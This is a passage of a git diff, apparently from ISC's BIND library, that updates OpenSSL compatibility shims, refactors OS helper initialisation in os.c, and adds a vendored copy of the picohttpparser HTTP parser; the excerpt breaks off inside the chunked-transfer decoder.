 EVP_MD_CTX_reset(EVP_MD_CTX *ctx) {
@@ -79,45 +60,6 @@ EVP_MD_CTX_reset(EVP_MD_CTX *ctx) {
 }
 #endif /* if !HAVE_EVP_MD_CTX_RESET */
 
-#if !HAVE_HMAC_CTX_NEW
-HMAC_CTX *
-HMAC_CTX_new(void) {
-	HMAC_CTX *ctx = OPENSSL_zalloc(sizeof(*ctx));
-	if (ctx != NULL) {
-		if (!HMAC_CTX_reset(ctx)) {
-			HMAC_CTX_free(ctx);
-			return (NULL);
-		}
-	}
-	return (ctx);
-}
-#endif /* if !HAVE_HMAC_CTX_NEW */
-
-#if !HAVE_HMAC_CTX_FREE
-void
-HMAC_CTX_free(HMAC_CTX *ctx) {
-	if (ctx != NULL) {
-		HMAC_CTX_cleanup(ctx);
-		OPENSSL_free(ctx);
-	}
-}
-#endif /* if !HAVE_HMAC_CTX_FREE */
-
-#if !HAVE_HMAC_CTX_RESET
-int
-HMAC_CTX_reset(HMAC_CTX *ctx) {
-	HMAC_CTX_cleanup(ctx);
-	return (1);
-}
-#endif /* if !HAVE_HMAC_CTX_RESET */
-
-#if !HAVE_HMAC_CTX_GET_MD
-const EVP_MD *
-HMAC_CTX_get_md(const HMAC_CTX *ctx) {
-	return (ctx->md);
-}
-#endif /* if !HAVE_HMAC_CTX_GET_MD */
-
 #if !HAVE_SSL_READ_EX
 int
 SSL_read_ex(SSL *ssl, void *buf, size_t num, size_t *readbytes) {
@@ -220,3 +162,37 @@ OPENSSL_init_ssl(uint64_t opts, const void *settings) {
 	return (1);
 }
 #endif
+
+#if !HAVE_OPENSSL_CLEANUP
+void
+OPENSSL_cleanup(void) {
+	return;
+}
+#endif
+
+#if !HAVE_X509_STORE_UP_REF
+
+int
+X509_STORE_up_ref(X509_STORE *store) {
+	return (CRYPTO_add(&store->references, 1, CRYPTO_LOCK_X509_STORE) > 0);
+}
+
+#endif /* !HAVE_OPENSSL_CLEANUP */
+
+#if !HAVE_SSL_CTX_SET1_CERT_STORE
+
+void
+SSL_CTX_set1_cert_store(SSL_CTX *ctx, X509_STORE *store) {
+	(void)X509_STORE_up_ref(store);
+
+	SSL_CTX_set_cert_store(ctx, store);
+}
+
+#endif /* !HAVE_SSL_CTX_SET1_CERT_STORE */
+
+#if !HAVE_SSL_CTX_UP_REF
+int
+SSL_CTX_up_ref(SSL_CTX *ctx) {
+	return (CRYPTO_add(&ctx->references, 1, CRYPTO_LOCK_SSL_CTX) > 0);
+}
+#endif /* !HAVE_SSL_CTX_UP_REF */
diff --git a/lib/isc/openssl_shim.h b/lib/isc/openssl_shim.h
index bd5a137e34..b2916e20a9 100644
--- a/lib/isc/openssl_shim.h
+++ b/lib/isc/openssl_shim.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -27,6 +29,11 @@ CRYPTO_zalloc(size_t num, const char *file, int line);
 #define OPENSSL_zalloc(num) CRYPTO_zalloc(num, __FILE__, __LINE__)
 #endif
 
+#if !HAVE_EVP_PKEY_NEW_RAW_PRIVATE_KEY
+#define EVP_PKEY_new_raw_private_key(type, e, key, keylen) \
+	EVP_PKEY_new_mac_key(type, e, key, (int)(keylen))
+#endif /* if !HAVE_EVP_PKEY_NEW_RAW_PRIVATE_KEY */
+
 #if !HAVE_EVP_CIPHER_CTX_NEW
 EVP_CIPHER_CTX *
 EVP_CIPHER_CTX_new(void);
@@ -38,13 +45,11 @@ EVP_CIPHER_CTX_free(EVP_CIPHER_CTX *ctx);
 #endif /* if !HAVE_EVP_CIPHER_CTX_FREE */
 
 #if !HAVE_EVP_MD_CTX_NEW
-EVP_MD_CTX *
-EVP_MD_CTX_new(void);
+#define EVP_MD_CTX_new EVP_MD_CTX_create
 #endif /* if !HAVE_EVP_MD_CTX_NEW */
 
 #if !HAVE_EVP_MD_CTX_FREE
-void
-EVP_MD_CTX_free(EVP_MD_CTX *ctx);
+#define EVP_MD_CTX_free EVP_MD_CTX_destroy
 #endif /* if !HAVE_EVP_MD_CTX_FREE */
 
 #if !HAVE_EVP_MD_CTX_RESET
@@ -52,25 +57,9 @@ int
 EVP_MD_CTX_reset(EVP_MD_CTX *ctx);
 #endif /* if !HAVE_EVP_MD_CTX_RESET */
 
-#if !HAVE_HMAC_CTX_NEW
-HMAC_CTX *
-HMAC_CTX_new(void);
-#endif /* if !HAVE_HMAC_CTX_NEW */
-
-#if !HAVE_HMAC_CTX_FREE
-void
-HMAC_CTX_free(HMAC_CTX *ctx);
-#endif /* if !HAVE_HMAC_CTX_FREE */
-
-#if !HAVE_HMAC_CTX_RESET
-int
-HMAC_CTX_reset(HMAC_CTX *ctx);
-#endif /* if !HAVE_HMAC_CTX_RESET */
-
-#if !HAVE_HMAC_CTX_GET_MD
-const EVP_MD *
-HMAC_CTX_get_md(const HMAC_CTX *ctx);
-#endif /* if !HAVE_HMAC_CTX_GET_MD */
+#if !HAVE_EVP_MD_CTX_GET0_MD
+#define EVP_MD_CTX_get0_md EVP_MD_CTX_md
+#endif /* if !HAVE_EVP_MD_CTX_GET0_MD */
 
 #if !HAVE_SSL_READ_EX
 int
@@ -119,6 +108,11 @@ OPENSSL_init_ssl(uint64_t opts, const void *settings);
 
 #endif
 
+#if !HAVE_OPENSSL_CLEANUP
+void
+OPENSSL_cleanup(void);
+#endif
+
 #if !HAVE_TLS_SERVER_METHOD
 #define TLS_server_method SSLv23_server_method
 #endif
@@ -126,3 +120,18 @@ OPENSSL_init_ssl(uint64_t opts, const void *settings);
 #if !HAVE_TLS_CLIENT_METHOD
 #define TLS_client_method SSLv23_client_method
 #endif
+
+#if !HAVE_X509_STORE_UP_REF
+int
+X509_STORE_up_ref(X509_STORE *v);
+#endif /* !HAVE_OPENSSL_CLEANUP */
+
+#if !HAVE_SSL_CTX_SET1_CERT_STORE
+void
+SSL_CTX_set1_cert_store(SSL_CTX *ctx, X509_STORE *store);
+#endif /* !HAVE_SSL_CTX_SET1_CERT_STORE */
+
+#if !HAVE_SSL_CTX_UP_REF
+int
+SSL_CTX_up_ref(SSL_CTX *store);
+#endif /* !HAVE_SSL_CTX_UP_REF */
diff --git a/lib/isc/os.c b/lib/isc/os.c
index 5ba4481d36..0ba0fab43c 100644
--- a/lib/isc/os.c
+++ b/lib/isc/os.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,13 +11,24 @@
  * information regarding copyright ownership.
  */
 
+#include <inttypes.h>
+#include <sys/stat.h>
+
 #include <isc/os.h>
+#include <isc/types.h>
+#include <isc/util.h>
+
+#include "os_p.h"
+
+static unsigned int isc__os_ncpus = 0;
+static unsigned long isc__os_cacheline = ISC_OS_CACHELINE_SIZE;
+static mode_t isc__os_umask = 0;
 
 #ifdef HAVE_SYSCONF
 
 #include <unistd.h>
 
-static inline long
+static long
 sysconf_ncpus(void) {
 #if defined(_SC_NPROCESSORS_ONLN)
 	return (sysconf((_SC_NPROCESSORS_ONLN)));
@@ -46,21 +59,55 @@ sysctl_ncpus(void) {
 }
 #endif /* if defined(HAVE_SYS_SYSCTL_H) && defined(HAVE_SYSCTLBYNAME) */
 
-unsigned int
-isc_os_ncpus(void) {
-	long ncpus = 0;
-
+static void
+ncpus_initialize(void) {
 #if defined(HAVE_SYSCONF)
-	ncpus = sysconf_ncpus();
+	isc__os_ncpus = sysconf_ncpus();
 #endif /* if defined(HAVE_SYSCONF) */
 #if defined(HAVE_SYS_SYSCTL_H) && defined(HAVE_SYSCTLBYNAME)
-	if (ncpus <= 0) {
-		ncpus = sysctl_ncpus();
+	if (isc__os_ncpus <= 0) {
+		isc__os_ncpus = sysctl_ncpus();
 	}
 #endif /* if defined(HAVE_SYS_SYSCTL_H) && defined(HAVE_SYSCTLBYNAME) */
-	if (ncpus <= 0) {
-		ncpus = 1;
+	if (isc__os_ncpus == 0) {
+		isc__os_ncpus = 1;
 	}
+}
+
+static void
+umask_initialize(void) {
+	isc__os_umask = umask(0);
+	(void)umask(isc__os_umask);
+}
+
+unsigned int
+isc_os_ncpus(void) {
+	return (isc__os_ncpus);
+}
+
+unsigned long
+isc_os_cacheline(void) {
+	return (isc__os_cacheline);
+}
+
+mode_t
+isc_os_umask(void) {
+	return (isc__os_umask);
+}
+
+void
+isc__os_initialize(void) {
+	umask_initialize();
+	ncpus_initialize();
+#if defined(HAVE_SYSCONF) && defined(_SC_LEVEL1_DCACHE_LINESIZE)
+	long s = sysconf(_SC_LEVEL1_DCACHE_LINESIZE);
+	if (s > 0 && (unsigned long)s > isc__os_cacheline) {
+		isc__os_cacheline = s;
+	}
+#endif
+}
 
-	return ((unsigned int)ncpus);
+void
+isc__os_shutdown(void) {
+	/* empty, but defined for completeness */;
 }
diff --git a/lib/isc/os_p.h b/lib/isc/os_p.h
new file mode 100644
index 0000000000..c39bc23a0f
--- /dev/null
+++ b/lib/isc/os_p.h
@@ -0,0 +1,26 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+#pragma once
+
+#include <stdio.h>
+
+#include <isc/os.h>
+
+/*! \file */
+
+void
+isc__os_initialize(void);
+
+void
+isc__os_shutdown(void);
diff --git a/lib/isc/parseint.c b/lib/isc/parseint.c
index ed539fdfc2..da6c281d42 100644
--- a/lib/isc/parseint.c
+++ b/lib/isc/parseint.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
diff --git a/lib/isc/picohttpparser.c b/lib/isc/picohttpparser.c
new file mode 100644
index 0000000000..d82fd01986
--- /dev/null
+++ b/lib/isc/picohttpparser.c
@@ -0,0 +1,727 @@
+/*
+ * Copyright (c) 2009-2014 Kazuho Oku, Tokuhiro Matsuno, Daisuke Murase,
+ *                         Shigeo Mitsunari
+ *
+ * SPDX-License-Identifier: MIT
+ *
+ * The software is licensed under either the MIT License (below) or the Perl
+ * license.
+ *
+ * Permission is hereby granted, free of charge, to any person obtaining a copy
+ * of this software and associated documentation files (the "Software"), to
+ * deal in the Software without restriction, including without limitation the
+ * rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
+ * sell copies of the Software, and to permit persons to whom the Software is
+ * furnished to do so, subject to the following conditions:
+ *
+ * The above copyright notice and this permission notice shall be included in
+ * all copies or substantial portions of the Software.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+ * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
+ * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
+ * IN THE SOFTWARE.
+ */
+
+#include <assert.h>
+#include <stddef.h>
+#include <string.h>
+#ifdef __SSE4_2__
+#ifdef _MSC_VER
+#include <nmmintrin.h>
+#else
+#include <x86intrin.h>
+#endif
+#endif
+#include "picohttpparser.h"
+
+#if __GNUC__ >= 3
+#define likely(x)   __builtin_expect(!!(x), 1)
+#define unlikely(x) __builtin_expect(!!(x), 0)
+#else
+#define likely(x)   (x)
+#define unlikely(x) (x)
+#endif
+
+#ifdef _MSC_VER
+#define ALIGNED(n) _declspec(align(n))
+#else
+#define ALIGNED(n) __attribute__((aligned(n)))
+#endif
+
+#define IS_PRINTABLE_ASCII(c) ((unsigned char)(c)-040u < 0137u)
+
+#define CHECK_EOF()           \
+	if (buf == buf_end) { \
+		*ret = -2;    \
+		return NULL;  \
+	}
+
+#define EXPECT_CHAR_NO_CHECK(ch) \
+	if (*buf++ != ch) {      \
+		*ret = -1;       \
+		return NULL;     \
+	}
+
+#define EXPECT_CHAR(ch) \
+	CHECK_EOF();    \
+	EXPECT_CHAR_NO_CHECK(ch);
+
+#define ADVANCE_TOKEN(tok, toklen)                                        \
+	do {                                                              \
+		const char *tok_start = buf;                              \
+		static const char ALIGNED(16)                             \
+			ranges2[16] = "\000\040\177\177";                 \
+		int found2;                                               \
+		buf = findchar_fast(buf, buf_end, ranges2, 4, &found2);   \
+		if (!found2) {                                            \
+			CHECK_EOF();                                      \
+		}                                                         \
+		while (1) {                                               \
+			if (*buf == ' ') {                                \
+				break;                                    \
+			} else if (unlikely(!IS_PRINTABLE_ASCII(*buf))) { \
+				if ((unsigned char)*buf < '\040' ||       \
+				    *buf == '\177')                       \
+				{                                         \
+					*ret = -1;                        \
+					return NULL;                      \
+				}                                         \
+			}                                                 \
+			++buf;                                            \
+			CHECK_EOF();                                      \
+		}                                                         \
+		tok = tok_start;                                          \
+		toklen = buf - tok_start;                                 \
+	} while (0)
+
+static const char *token_char_map =
+	"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"
+	"\0\1\0\1\1\1\1\1\0\0\1\1\0\1\1\0\1\1\1\1\1\1\1\1\1\1\0\0\0\0\0\0"
+	"\0\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\0\0\0\1\1"
+	"\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\0\1\0\1\0"
+	"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"
+	"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"
+	"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"
+	"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";
+
+static const char *
+findchar_fast(const char *buf, const char *buf_end, const char *ranges,
+	      size_t ranges_size, int *found) {
+	*found = 0;
+#if __SSE4_2__
+	if (likely(buf_end - buf >= 16)) {
+		__m128i ranges16 = _mm_loadu_si128((const __m128i *)ranges);
+
+		size_t left = (buf_end - buf) & ~15;
+		do {
+			__m128i b16 = _mm_loadu_si128((const __m128i *)buf);
+			int r = _mm_cmpestri(ranges16, ranges_size, b16, 16,
+					     _SIDD_LEAST_SIGNIFICANT |
+						     _SIDD_CMP_RANGES |
+						     _SIDD_UBYTE_OPS);
+			if (unlikely(r != 16)) {
+				buf += r;
+				*found = 1;
+				break;
+			}
+			buf += 16;
+			left -= 16;
+		} while (likely(left != 0));
+	}
+#else
+	/* suppress unused parameter warning */
+	(void)buf_end;
+	(void)ranges;
+	(void)ranges_size;
+#endif
+	return buf;
+}
+
+static const char *
+get_token_to_eol(const char *buf, const char *buf_end, const char **token,
+		 size_t *token_len, int *ret) {
+	const char *token_start = buf;
+
+#ifdef __SSE4_2__
+	static const char ALIGNED(16)
+		ranges1[16] = "\0\010"	 /* allow HT */
+			      "\012\037" /* allow SP and up to but not including
+					    DEL */
+			      "\177\177"; /* allow chars w. MSB set */
+	int found;
+	buf = findchar_fast(buf, buf_end, ranges1, 6, &found);
+	if (found)
+		goto FOUND_CTL;
+#else
+	/* find non-printable char within the next 8 bytes, this is the hottest
+	 * code; manually inlined */
+	while (likely(buf_end - buf >= 8)) {
+#define DOIT()                                           \
+	do {                                             \
+		if (unlikely(!IS_PRINTABLE_ASCII(*buf))) \
+			goto NonPrintable;               \
+		++buf;                                   \
+	} while (0)
+		DOIT();
+		DOIT();
+		DOIT();
+		DOIT();
+		DOIT();
+		DOIT();
+		DOIT();
+		DOIT();
+#undef DOIT
+		continue;
+	NonPrintable:
+		if ((likely((unsigned char)*buf < '\040') &&
+		     likely(*buf != '\011')) ||
+		    unlikely(*buf == '\177'))
+		{
+			goto FOUND_CTL;
+		}
+		++buf;
+	}
+#endif
+	for (;; ++buf) {
+		CHECK_EOF();
+		if (unlikely(!IS_PRINTABLE_ASCII(*buf))) {
+			if ((likely((unsigned char)*buf < '\040') &&
+			     likely(*buf != '\011')) ||
+			    unlikely(*buf == '\177'))
+			{
+				goto FOUND_CTL;
+			}
+		}
+	}
+FOUND_CTL:
+	if (likely(*buf == '\015')) {
+		++buf;
+		EXPECT_CHAR('\012');
+		*token_len = buf - 2 - token_start;
+	} else if (*buf == '\012') {
+		*token_len = buf - token_start;
+		++buf;
+	} else {
+		*ret = -1;
+		return NULL;
+	}
+	*token = token_start;
+
+	return buf;
+}
+
+static const char *
+is_complete(const char *buf, const char *buf_end, size_t last_len, int *ret) {
+	int ret_cnt = 0;
+	buf = last_len < 3 ? buf : buf + last_len - 3;
+
+	while (1) {
+		CHECK_EOF();
+		if (*buf == '\015') {
+			++buf;
+			CHECK_EOF();
+			EXPECT_CHAR('\012');
+			++ret_cnt;
+		} else if (*buf == '\012') {
+			++buf;
+			++ret_cnt;
+		} else {
+			++buf;
+			ret_cnt = 0;
+		}
+		if (ret_cnt == 2) {
+			return buf;
+		}
+	}
+
+	*ret = -2;
+	return NULL;
+}
+
+#define PARSE_INT(valp_, mul_)          \
+	if (*buf < '0' || '9' < *buf) { \
+		buf++;                  \
+		*ret = -1;              \
+		return NULL;            \
+	}                               \
+	*(valp_) = (mul_) * (*buf++ - '0');
+
+#define PARSE_INT_3(valp_)            \
+	do {                          \
+		int res_ = 0;         \
+		PARSE_INT(&res_, 100) \
+		*valp_ = res_;        \
+		PARSE_INT(&res_, 10)  \
+		*valp_ += res_;       \
+		PARSE_INT(&res_, 1)   \
+		*valp_ += res_;       \
+	} while (0)
+
+/* returned pointer is always within [buf, buf_end), or null */
+static const char *
+parse_token(const char *buf, const char *buf_end, const char **token,
+	    size_t *token_len, char next_char, int *ret) {
+	/* We use pcmpestri to detect non-token characters. This instruction can
+	 * take no more than eight character ranges (8*2*8=128 bits that is the
+	 * size of a SSE register). Due to this restriction, characters `|` and
+	 * `~` are handled in the slow loop. */
+	static const char ALIGNED(16) ranges[] = "\x00 " /* control chars and up
+							    to SP */
+						 "\"\""	 /* 0x22 */
+						 "()"	 /* 0x28,0x29 */
+						 ",,"	 /* 0x2c */
+						 "//"	 /* 0x2f */
+						 ":@"	 /* 0x3a-0x40 */
+						 "[]"	 /* 0x5b-0x5d */
+						 "{\xff"; /* 0x7b-0xff */
+	const char *buf_start = buf;
+	int found;
+	buf = findchar_fast(buf, buf_end, ranges, sizeof(ranges) - 1, &found);
+	if (!found) {
+		CHECK_EOF();
+	}
+	while (1) {
+		if (*buf == next_char) {
+			break;
+		} else if (!token_char_map[(unsigned char)*buf]) {
+			*ret = -1;
+			return NULL;
+		}
+		++buf;
+		CHECK_EOF();
+	}
+	*token = buf_start;
+	*token_len = buf - buf_start;
+	return buf;
+}
+
+/* returned pointer is always within [buf, buf_end), or null */
+static const char *
+parse_http_version(const char *buf, const char *buf_end, int *minor_version,
+		   int *ret) {
+	/* we want at least [HTTP/1.<two chars>] to try to parse */
+	if (buf_end - buf < 9) {
+		*ret = -2;
+		return NULL;
+	}
+	EXPECT_CHAR_NO_CHECK('H');
+	EXPECT_CHAR_NO_CHECK('T');
+	EXPECT_CHAR_NO_CHECK('T');
+	EXPECT_CHAR_NO_CHECK('P');
+	EXPECT_CHAR_NO_CHECK('/');
+	EXPECT_CHAR_NO_CHECK('1');
+	EXPECT_CHAR_NO_CHECK('.');
+	PARSE_INT(minor_version, 1);
+	return buf;
+}
+
+static const char *
+parse_headers(const char *buf, const char *buf_end, struct phr_header *headers,
+	      size_t *num_headers, size_t max_headers, int *ret) {
+	for (;; ++*num_headers) {
+		CHECK_EOF();
+		if (*buf == '\015') {
+			++buf;
+			EXPECT_CHAR('\012');
+			break;
+		} else if (*buf == '\012') {
+			++buf;
+			break;
+		}
+		if (*num_headers == max_headers) {
+			*ret = -1;
+			return NULL;
+		}
+		if (!(*num_headers != 0 && (*buf == ' ' || *buf == '\t'))) {
+			/* parsing name, but do not discard SP before colon, see
+			 * http://www.mozilla.org/security/announce/2006/mfsa2006-33.html
+			 */
+			if ((buf = parse_token(buf, buf_end,
+					       &headers[*num_headers].name,
+					       &headers[*num_headers].name_len,
+					       ':', ret)) == NULL)
+			{
+				return NULL;
+			}
+			if (headers[*num_headers].name_len == 0) {
+				*ret = -1;
+				return NULL;
+			}
+			++buf;
+			for (;; ++buf) {
+				CHECK_EOF();
+				if (!(*buf == ' ' || *buf == '\t')) {
+					break;
+				}
+			}
+		} else {
+			headers[*num_headers].name = NULL;
+			headers[*num_headers].name_len = 0;
+		}
+		const char *value;
+		size_t value_len;
+		if ((buf = get_token_to_eol(buf, buf_end, &value, &value_len,
+					    ret)) == NULL)
+		{
+			return NULL;
+		}
+		/* remove trailing SPs and HTABs */
+		const char *value_end = value + value_len;
+		for (; value_end != value; --value_end) {
+			const char c = *(value_end - 1);
+			if (!(c == ' ' || c == '\t')) {
+				break;
+			}
+		}
+		headers[*num_headers].value = value;
+		headers[*num_headers].value_len = value_end - value;
+	}
+	return buf;
+}
+
+static const char *
+parse_request(const char *buf, const char *buf_end, const char **method,
+	      size_t *method_len, const char **path, size_t *path_len,
+	      int *minor_version, struct phr_header *headers,
+	      size_t *num_headers, size_t max_headers, int *ret) {
+	/* skip first empty line (some clients add CRLF after POST content) */
+	CHECK_EOF();
+	if (*buf == '\015') {
+		++buf;
+		EXPECT_CHAR('\012');
+	} else if (*buf == '\012') {
+		++buf;
+	}
+
+	/* parse request line */
+	if ((buf = parse_token(buf, buf_end, method, method_len, ' ', ret)) ==
+	    NULL)
+	{
+		return NULL;
+	}
+	do {
+		++buf;
+		CHECK_EOF();
+	} while (*buf == ' ');
+	ADVANCE_TOKEN(*path, *path_len);
+	do {
+		++buf;
+		CHECK_EOF();
+	} while (*buf == ' ');
+	if (*method_len == 0 || *path_len == 0) {
+		*ret = -1;
+		return NULL;
+	}
+	if ((buf = parse_http_version(buf, buf_end, minor_version, ret)) ==
+	    NULL)
+	{
+		return NULL;
+	}
+	if (*buf == '\015') {
+		++buf;
+		EXPECT_CHAR('\012');
+	} else if (*buf == '\012') {
+		++buf;
+	} else {
+		*ret = -1;
+		return NULL;
+	}
+
+	return parse_headers(buf, buf_end, headers, num_headers, max_headers,
+			     ret);
+}
+
+int
+phr_parse_request(const char *buf_start, size_t len, const char **method,
+		  size_t *method_len, const char **path, size_t *path_len,
+		  int *minor_version, struct phr_header *headers,
+		  size_t *num_headers, size_t last_len) {
+	const char *buf = buf_start, *buf_end = buf_start + len;
+	size_t max_headers = *num_headers;
+	int r = -1;
+
+	*method = NULL;
+	*method_len = 0;
+	*path = NULL;
+	*path_len = 0;
+	*minor_version = -1;
+	*num_headers = 0;
+
+	/* if last_len != 0, check if the request is complete (a fast
+	   countermeasure againt slowloris */
+	if (last_len != 0 && is_complete(buf, buf_end, last_len, &r) == NULL) {
+		return r;
+	}
+
+	if ((buf = parse_request(buf, buf_end, method, method_len, path,
+				 path_len, minor_version, headers, num_headers,
+				 max_headers, &r)) == NULL)
+	{
+		return r;
+	}
+
+	return (int)(buf - buf_start);
+}
+
+static const char *
+parse_response(const char *buf, const char *buf_end, int *minor_version,
+	       int *status, const char **msg, size_t *msg_len,
+	       struct phr_header *headers, size_t *num_headers,
+	       size_t max_headers, int *ret) {
+	/* parse "HTTP/1.x" */
+	if ((buf = parse_http_version(buf, buf_end, minor_version, ret)) ==
+	    NULL)
+	{
+		return NULL;
+	}
+	/* skip space */
+	if (*buf != ' ') {
+		*ret = -1;
+		return NULL;
+	}
+	do {
+		++buf;
+		CHECK_EOF();
+	} while (*buf == ' ');
+	/* parse status code, we want at least [:digit:][:digit:][:digit:]<other
+	 * char> to try to parse */
+	if (buf_end - buf < 4) {
+		*ret = -2;
+		return NULL;
+	}
+	PARSE_INT_3(status);
+
+	/* get message including preceding space */
+	if ((buf = get_token_to_eol(buf, buf_end, msg, msg_len, ret)) == NULL) {
+		return NULL;
+	}
+	if (*msg_len == 0) {
+		/* ok */
+	} else if (**msg == ' ') {
+		/* Remove preceding space. Successful return from
+		 * `get_token_to_eol` guarantees that we would hit something
+		 * other than SP before running past the end of the given
+		 * buffer. */
+		do {
+			++*msg;
+			--*msg_len;
+		} while (**msg == ' ');
+	} else {
+		/* garbage found after status code */
+		*ret = -1;
+		return NULL;
+	}
+
+	return parse_headers(buf, buf_end, headers, num_headers, max_headers,
+			     ret);
+}
+
+int
+phr_parse_response(const char *buf_start, size_t len, int *minor_version,
+		   int *status, const char **msg, size_t *msg_len,
+		   struct phr_header *headers, size_t *num_headers,
+		   size_t last_len) {
+	const char *buf = buf_start, *buf_end = buf + len;
+	size_t max_headers = *num_headers;
+	int r;
+
+	*minor_version = -1;
+	*status = 0;
+	*msg = NULL;
+	*msg_len = 0;
+	*num_headers = 0;
+
+	/* if last_len != 0, check if the response is complete (a fast
+	   countermeasure against slowloris */
+	if (last_len != 0 && is_complete(buf, buf_end, last_len, &r) == NULL) {
+		return r;
+	}
+
+	if ((buf = parse_response(buf, buf_end, minor_version, status, msg,
+				  msg_len, headers, num_headers, max_headers,
+				  &r)) == NULL)
+	{
+		return r;
+	}
+
+	return (int)(buf - buf_start);
+}
+
+int
+phr_parse_headers(const char *buf_start, size_t len, struct phr_header *headers,
+		  size_t *num_headers, size_t last_len) {
+	const char *buf = buf_start, *buf_end = buf + len;
+	size_t max_headers = *num_headers;
+	int r;
+
+	*num_headers = 0;
+
+	/* if last_len != 0, check if the response is complete (a fast
+	   countermeasure against slowloris */
+	if (last_len != 0 && is_complete(buf, buf_end, last_len, &r) == NULL) {
+		return r;
+	}
+
+	if ((buf = parse_headers(buf, buf_end, headers, num_headers,
+				 max_headers, &r)) == NULL)
+	{
+		return r;
+	}
+
+	return (int)(buf - buf_start);
+}
+
+enum {
+	CHUNKED_IN_CHUNK_SIZE,
+	CHUNKED_IN_CHUNK_EXT,
+	CHUNKED_IN_CHUNK_DATA,
+	CHUNKED_IN_CHUNK_CRLF,
+	CHUNKED_IN_TRAILERS_LINE_HEAD,
+	CHUNKED_IN_TRAILERS_LINE_MIDDLE
+};
+
+static int
+decode_hex(int ch) {
+	if ('0' <= ch && ch <= '9') {
+		return ch - '0';
+	} else if ('A' <= ch && ch <= 'F') {
+		return ch - 'A' + 0xa;
+	} else if ('a' <= ch && ch <= 'f') {
+		return ch - 'a' + 0xa;
+	} else {
+		return -1;
+	}
+}
+
+ssize_t
+phr_decode_chunked(struct phr_chunked_decoder *decoder, char *buf,
+		   size_t *_bufsz) {
+	size_t dst = 0, src = 0, bufsz = *_bufsz;
+	ssize_t ret = -2; /* incomplete */
+
+	while (1) {
+		switch (decoder->_state) {
+		case CHUNKED_IN_CHUNK_SIZE:
+			for (;; ++src) {
+				int v;
+				if (src == bufsz)
+					goto Exit;
+				if ((v = decode_hex(buf[src])) == -1) {
+					if (decoder->_hex_count == 0) {
+						ret = -1;
+						goto Exit;
+					}
+					break;
+				}
+				if (decoder->_hex_count == sizeof(size_t) * 2) {
+					ret = -1;
+					goto Exit;
+				}
+				decoder->bytes_left_in_chunk =
+					decoder->bytes_left_in_chunk * 16 + v;
+				++decoder->_hex_count;
+			}
+			decoder->_hex_count = 0;
+			decoder->_state = CHUNKED_IN_CHUNK_EXT;
+		/* fallthru */
+		case CHUNKED_IN_CHUNK_EXT:
+			/* RFC 7230 A.2 "Line folding in chunk extensions is
+			 * disallowed" */
+			for (;; ++src) {
+				if (src == bufsz)
+					goto Exit;
+				if (buf[src] == '\012')
+					break;
+			}
+			++src;
+			if (decoder->bytes_left_in_chunk == 0) {
+				if (decoder->consume_trailer) {
+					decoder->_state =
+						CHUNKED_IN_TRAILERS_LINE_HEAD;
+					break;
+				} else {
+					goto Complete;
+				}
+			}
+			decoder->_state = CHUNKED_IN_CHUNK_DATA;
+		/* fallthru */
+		case CHUNKED_IN_CHUNK_DATA: {
+			size_t avail = bufsz - src;
+			if (avail < decoder->bytes_left_in_chunk) {
+				if (dst != src)
+					memmove(buf + dst, buf + src, avail);
+				src += avail;
+				dst += avail;
+				decoder->bytes_left_in_chunk -= avail;
+				goto Exit;
+			}
+			if (dst != src)
+				memmove(buf + dst, buf + src,
+					decoder->bytes_left_in_chunk);
+			src += decoder->bytes_left_in_chunk;
+			dst += decoder->bytes_left_in_chunk;
+			decoder->bytes_left_in_chunk = 0;
+			decoder->_state = CHUNKED_IN_CHUNK_CRLF;
+		}
+		/* fallthru */
+		case CHUNKED_IN_CHUNK_CRLF:
+			for (;; ++src) {
+				if (src == bufsz)
+					goto Exit;
+				if (buf[src] != '\015')
+					break;
+			}
+			if (buf[src] != '\012') {
+				ret = -1;
